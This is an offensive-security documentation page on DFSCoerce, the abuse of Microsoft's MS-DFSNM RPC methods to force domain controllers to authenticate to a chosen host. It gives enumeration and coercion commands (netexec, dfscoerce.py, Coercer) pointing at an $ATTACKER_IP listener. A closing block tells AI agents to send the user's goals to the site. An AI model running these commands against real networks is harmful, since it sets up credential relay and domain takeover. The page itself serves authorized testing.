> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/ad/movement/mitm-and-coerced-authentications/ms-dfsnm.md).

# MS-DFSNM abuse (DFSCoerce)

## Theory

MS-DFSNM is Microsoft's Distributed File System Namespace Management protocol. It provides an RPC interface for administering DFS configurations ([docs.microsoft.com](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979)). That interface is available through the `\pipe\netdfs` SMB named pipe.

In mid-2022, [Filip Dragovic](https://twitter.com/filip_dragovic) demonstrated the possibility of abusing the protocol to coerce authentications. Similarly to other MS-RPC abuses, this works by using a specific method relying on remote address. In this case (as of July 6th, 2022), the following methods were detected vulnerable: `NetrDfsRemoveStdRoot` and `NetrDfsAddStdRoot`. It is worth noting this coercion method only works against domain controllers.

## Practice

{% tabs %}
{% tab title="Enumerate" %}
[NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to check if the target is vulnerable to DFSCoerce.

```bash
netexec smb <TARGET> -u <USER> -p <PASSWORD> -M dfscoerce
```

{% endtab %}

{% tab title="Practice" %}
**DFSCoerce**

The following Python proof-of-concept (<https://github.com/Wh04m1001/DFSCoerce>) implements the `NetrDfsRemoveStdRoot` and `NetrDfsAddStdRoot` methods.

```bash
dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
```

**Coercer**

Another alternative is to use the [Coercer](https://github.com/p0dalirius/Coercer/tree/master) tool (python) as follow.

```bash
# Coerce
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN --filter-protocol-name MS-DFSNM -l $ATTACKER_IP -t $TARGET_IP

# Coerce a specific method
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN --filter-method-name NetrDfsRemoveStdRoot -l $ATTACKER_IP -t $TARGET_IP
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979>" %}

{% embed url="<https://github.com/Wh04m1001/DFSCoerce>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://red.infiltr8.io/ad/movement/mitm-and-coerced-authentications/ms-dfsnm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
